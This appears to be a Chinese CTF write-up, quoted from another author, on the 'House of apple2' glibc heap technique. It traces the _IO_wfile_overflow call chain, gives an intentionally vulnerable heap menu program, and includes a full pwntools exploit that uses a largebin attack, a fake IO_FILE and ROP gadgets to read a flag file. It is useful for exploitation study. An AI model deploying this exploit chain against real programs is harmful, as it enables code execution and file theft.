House of apple2

摘抄自大佬: house of apple2之_IO_wfile_overflow - 先知社区

高版本在禁用了一些hook的情况下,一般的打法都是打io,即通过伪造io_file,然后使用large bin attack 或tcache bin attack修改_IO_list_all或 _IO_stdin等指向堆地址,其中该堆地址处即为伪造的io_file_data。

对于io_file等知识,这里不再赘述,可参考大佬博客:https://bbs.kanxue.com/thread-272098.htm

由于多种io利用链里属apple2最为常用,这里总结一下apple2的几个利用方法。

apple2是由大佬roderick01发现的调用链,其中有多条调用链,这里这阐述第一种_IO_wfile_overflow,具体详见:https://bbs.kanxue.com/thread-272098.htm

这里写一下我的理解。

简介

首先回顾一下io结构体的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

那么对于这个结构体,在libc2.24之后,程序都会对其虚表指针(vtable,stdin/stdout/stderr这三个_IO_FILE结构体使用的是IO_file_jumps)进行地址检查,检查其范围是不是在虚表范围之内,所以曾经的各种利用方式也都在虚表范围内进行操作,无论是其中的那一个,都逃不过这个检查,那么有没有什么操作可以跳出这个限制,或者绕过这个保护呢

这就引出了house of apple2,其涉及到了宽字节_IO_wide_data结构体(宽字节其实就是类似中文这种无法用一个字节ASCII码处理的字符)

我们来看一下它的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

可以发现,这个结构体和io_file结构体相似度极高,也存在一个IO_jump_t结构体,_wide_vtable

我们尝试向上溯源,看看是哪个位置调用过它

根据引用,不难找到_IO_wdoallocbuf函数,在这个函数里面,调用了IO_wide_data结构体

需要满足fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0,就可以调用到该结构体

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

里面涉及到一个宏定义,_IO_WDOALLOCATE

1
2
extern void _IO_wdoallocbuf (FILE *) __THROW;
libc_hidden_proto (_IO_wdoallocbuf)

其中的宏定义拓展是这个样子,我们取出来逐行分析

1
((*(__typeof__ (((struct _IO_FILE){})._wide_data) *)(((char *) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data)))->_wide_vtable->__doallocate) (fp)

看起来相当复杂,但是其实我们一点一点分析即可

(1)(typeof (((struct _IO_FILE){})._wide_data))

  • __typeof__ 是 GNU C 的一个扩展,用于获取表达式的类型。在这里,它使用了 _IO_FILE 结构体的 _wide_data 成员来确定类型。
  • ((struct _IO_FILE){}) 创建了一个匿名的 _IO_FILE 结构体的实例,并使用 _wide_data 获取这个成员的类型。
  • __typeof__ (((struct _IO_FILE){})._wide_data) 表示这个宏展开时会根据 _IO_FILE_wide_data 成员类型来确定类型。

(2) (char \*) ((fp))

  • (fp) 是传入的参数,通常是一个指向 _IO_FILE 结构体的指针。在这里,它被强制转换为 char* 类型,目的是进行指针的位移操作。

(3) __builtin_offsetof(struct _IO_FILE, _wide_data)

  • __builtin_offsetof 是 GCC 内建函数,返回指定结构体成员的偏移量。在这里,它返回 _wide_data 成员在 _IO_FILE 结构体中的偏移量。
  • 这一步是为了通过指针计算得到 _wide_data 成员的实际位置。

(4) (((char \*) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data))

  • 这个表达式的作用是通过将 fp 转换为 char* 指针,并加上 _wide_data 在结构体中的偏移量,来计算 _wide_data 的地址。

(5) (__typeof__ (((struct _IO_FILE){})._wide_data) \*)

  • 这里将上面计算得到的地址强制转换为 _wide_data 成员的类型指针。

(6) ->_wide_vtable->__doallocate

  • _wide_data 结构体中有一个 _wide_vtable,它指向一张虚表(vtable)。通过这个虚表,我们访问其中的 __doallocate 函数。

(7) (fp)

  • 最后,将 fp 作为参数传递给 __doallocate 函数。

该宏的作用是在运行时通过指针操作计算出 _IO_FILE 结构体中的 _wide_data 成员的位置,然后通过虚函数表(vtable)调用 __doallocate 函数,并传入 fp 作为参数。

不难发现,根本没有对地址的加密,检查等操作,所以这里就存在利用的操作了,那么我们再看看从哪里可以调用到这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}

也是可以很轻易的找到_IO_wfile_overflow函数,可以看到其中调用了IO_wdoallocbuf函数,需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0,就可以走到调用的位置了

所以我们不难总结出一下的函数调用链

1
2
3
4
_IO_wfile_overflow
``_IO_wdoallocbuf
``_IO_WDOALLOCATE
``*``(fp``-``>_wide_data``-``>_wide_vtable ``+` `0x68``)(fp)

那么利用思路就是:

  • largebin attack修改io_list_all为堆地址
  • 伪造fake_IO,vtable修改为_IO_wfile_jumps。

其中对fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C(C就是target,system或者magic_addr )

利用

以下仅考虑禁用execeve的方法,如果没禁用直接替换上方的C为system并在fp处写入sh即可。

方法1:

这是我认为最简单的一个,不需要用到setcontext+61即可实现orw。使用magic_gadget: svcudp_reply + 26

缺点就是很多libc可能没有。

1
2
3
4
5
6
<svcudp_reply+26>:  mov  rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]

这个gadget能够控制rbp和rax,控制了rax相当于控制了返回地址,执行完svcudp_reply + 26后,rbp = [rdi + 0x48] = orw_addr,之后call [rax+0x28] = call leave_ret,相当于栈迁移读取flag。

这里是用一个test测试的,链接的是PWN/heap/debug_glibc-master/2.35/amd64/lib/libc.so.6,test源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}

int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}

void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = calloc(1, size);
}

void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}

void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}

void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}

int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
from ctypes import *
from LibcSearcher import *
from ae64 import AE64

context(os='linux', arch='amd64', log_level='debug')

def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r(a):
return io.recv(a)
def ru(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#io = remote("node5.anna.nssctf.cn",21015)
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./PWN/heap/debug_glibc-master/2.35/amd64/lib/libc.so.6")

def add(index,size):
sla("choice:\n",str(1))
sla("index:\n",str(index))
sla("size:\n",str(size))

def free(index):
sla("choice:\n",str(2))
sla("index:\n",str(index))

def edit(index,size,data):
sla("choice:\n",str(3))
sla("index:\n",str(index))
sla("length:\n",str(size))
sa("content:\n",data)

def show(index):
sla("choice:\n",str(4))
sla("index:\n",str(index))

#leak libc_base
add(0,0x410)
add(1,0x20)
add(2,0x420)
add(3,0x20)

free(2)
show(2)
libcbase = get_addr() - 0x1f2ce0
pop_rax = libcbase + 0x446d0
pop_rdi = libcbase + 0x2da82
pop_rsi = libcbase + 0x37bba
pop_rdx_r12 = libcbase + 0x107191
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
puts_addr = libcbase + libc.sym['puts']
leave_ret = libcbase + 0x52d82

gadget_addr = libcbase + libc.sym["svcudp_reply"] + 26
IO_list_all = libcbase + libc.sym["_IO_list_all"]
wfile = libcbase + libc.sym['_IO_wfile_jumps']
success("libcbase: " + hex(libcbase))
success("gadget_addr: " + hex(gadget_addr))

#leak heap_base
add(4,0x430)

edit(2,0x10,b'a' * 0x10)
show(2)
ru(b'a' * 0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x6e0
success("heap_base: " + hex(heap_base))
edit(2,0x10,p64(libcbase + 0x1f30d0) * 2)


#largebin attack IO_list_all
free(0)
edit(2,0x20, p64(0) * 3 + p64(IO_list_all - 0x20))
add(5,0x430)
add(0,0x410)
#recover largin bin
edit(2,0x20,p64(libcbase + 0x1f30d0) * 2 + p64(heap_base + 0x6e0) * 2)
add(2,0x420)

orw_addr = heap_base + 0x2a0 #chunk0 + 0x10
fake_io_addr = heap_base + 0x6e0


#fake_IO_FILE
fake_IO_FILE = p64(0)+p64(leave_ret)
fake_IO_FILE += p64(0)+p64(0xffffffffffffffff) #fp->_IO_write_ptr > fp->_IO_write_base
fake_IO_FILE += p64(0)*2+p64(0)+p64(orw_addr) #fake_io_addr+0x48 = rdi + 0x48
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(0)*3+p64(heap_base + 0x6c0) #lock = chunk1,可写地址就行
fake_IO_FILE += p64(0)*2+p64(fake_io_addr+0xe0)+p64(0) #fake_io_addr+0xe0 = A
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(0)+p64(wfile)
fake_IO_FILE += p64(0)*0x1c + p64(fake_io_addr+0xe0+0xe8) #fake_io_addr+0xe0+0xe8 = B
fake_IO_FILE += p64(0)*0xd+p64(gadget_addr) # C
edit(2,len(fake_IO_FILE),fake_IO_FILE)

#orw
orw = b'./flag\x00\x00'
orw += p64(pop_rdx_r12)+p64(0)+p64(fake_io_addr-0x10)
orw += p64(pop_rdi)+p64(orw_addr)
orw += p64(pop_rsi)+p64(0)
orw += p64(open_addr)

orw += p64(pop_rdi)+p64(3)
orw += p64(pop_rsi)+p64(orw_addr+0x100)
orw += p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw += p64(read_addr)

orw += p64(pop_rdi)+p64(orw_addr+0x100)
orw += p64(puts_addr)
edit(0,len(orw),orw)

#debug()
sla("choice:\n",str(5)) #exit

io.interactive()

方法2:

使用magic_gadget: getkeyserv_handle+576

1
2
3
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

2.31中如下:

1
2
3
mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

即通过rdi来控制rdx,并且结合setcontext+61来进行orw

其中,setcontext+61汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x7ff098e2cc0d <setcontext+61>:		mov    rsp,QWORD PTR [rdx+0xa0]
0x7ff098e2cc14 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7ff098e2cc1b <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7ff098e2cc1f <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7ff098e2cc23 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7ff098e2cc27 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7ff098e2cc2b <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
0x7ff098e2cc2f <setcontext+95>: test DWORD PTR fs:0x48,0x2
0x7ff098e2cc3b <setcontext+107>: je 0x7ff098e2ccf6 <setcontext+294>

0x7ff098e2ccf6 <setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ff098e2ccfd <setcontext+301>: push rcx
0x7ff098e2ccfe <setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
0x7ff098e2cd02 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
0x7ff098e2cd06 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
0x7ff098e2cd0d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
0x7ff098e2cd11 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
0x7ff098e2cd15 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
0x7ff098e2cd1c <setcontext+332>: xor eax,eax
0x7ff098e2cd1e <setcontext+334>: ret

exp同方法1,只需要把其中的C改成getkeyserv_handle+576,并进行合理的构造,使得call qword ptr [rdx+20h]去调用setcontext+61

方法3:

这个也是刚刚学习到的一个gadget:

1
mov rdx, rbx ; call qword ptr [rax + 0x38]

查找指令,查找到很多后再找后边的call [rax+0x38]:

1
ROPgadget --binary libc.so.6 --all | grep -E "mov rdx, rbx"

同样需要结合setcontext+61使用。

一开始比较好奇,rbx和rax是怎么控制的呢,因为之前的gadget都是从[rdi+offset]获得的,而rdi就是伪造的fake_io_addr(也就是fp)。

所以,就跟着下断点动调了一下。

正常的调用链如下:

1、程序调用exit退出,exit会调用IO_flush_all_lockp()函数刷新流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;


fp = fp->_chain; //遍历链表
}
[...]
}

可以看到,当满足:

1
2
fp->_mode = 0 
fp - >_IO_write_ptr > fp -> _IO_write_base

就会调用_IO_OVERFLOW()函数,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow

所以此时,修改io_file_jumps为_IO_wfile_jumps即可调用 _IO_wfile_overflow

跟进到exit里,不知道步进了多少重(在_IO_wfile_jumps调用之前),在某一处发现使用[rip + offset]对rbx赋值的操作,如图所示,赋值后rbx为堆上可控地址,这里其实就是fake_io_addr。

pA7zVrF.png

继续跟进到_IO_new_file_overflow中,发现使用[rdi + offset]对rax赋值的操作,并且后面在_IO_wdoallocbuf中又赋值了一次,如图所示。

pA7zkvT.jpg

pA7zZb4.png

赋值完成后,rax也是堆上可控地址,之后会call [rax + 0x68],因此通过构造可以修改[rax + 0x68]处为mov rdx, rbx ; call qword ptr [rax + 0x38]的地址,进而能控制rdx,同时构造[rax + 0x38]处为setcontext+61地址,即可进行orw。

方法4:

使用gadget:

1
mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]

大体思路同方法3,都是需要先构造堆上内容控制rax,这个控制了rax就能控制后续所有了。